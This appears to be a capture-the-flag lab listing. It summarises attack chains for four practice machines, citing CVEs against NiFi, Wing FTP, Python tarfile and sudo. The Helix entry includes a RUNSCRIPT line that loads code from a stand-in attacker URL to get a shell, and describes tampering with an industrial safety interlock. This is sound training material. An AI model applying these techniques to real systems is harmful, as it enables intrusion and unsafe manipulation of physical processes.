Bedside
medium
linux
Helix
medium
linux
The vhost flow.helix.htb proxies an Apache NiFi 1.21.0 canvas that runs completely unauthenticated — GET /nifi-api/flow/current-user returns anonymous with every permission true — so CVE-2023-34468 (NiFi 0.0.2–1.21.0, fixed 1.22.0, CVSS 8.8) is reachable cold: a DBCPConnectionPool pointed at an H2 in-memory JDBC URL plus an ExecuteSQL processor running RUNSCRIPT FROM 'http://attacker/rce.sql' executes H2's CREATE ALIAS Java stored procedure and returns a shell as nifi. A forgotten support bundle leaves operator's OpenSSH ed25519 key world-readable at /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak, giving user.txt. Root is an ICS safety-interlock abuse: operator may sudo /usr/local/sbin/helix-maint-console, which only checks that /opt/helix/state/maintenance_window holds a future timestamp before exec'ing bash -p, and the root helix-safety controller writes that file when the reactor enters a hazardous test band. The loopback-only OPC UA PLC on 127.0.0.1:4840 accepts anonymous writes, so setting Mode=MAINTENANCE, TestOverride=True and slowly ramping CalibrationOffset until Temperature crosses 295 °C — without hitting the 305 °C trip — makes root open the window itself.
WingData
easy
linux
Unauthenticated RCE in Wing FTP Server v7.4.3 via NULL byte Lua injection (CVE-2025-47812), lateral movement through cracked FTP user password hash, and root via Python tarfile data filter PATH_MAX bypass (CVE-2025-4517).
Expressway
easy
linux
IKEv1 Aggressive Mode PSK hash capture and offline brute-force reveals SSH credentials; custom sudo 1.9.17 binary is exploited via CVE-2025-32463 NSS library injection to achieve root.
no machines match that filter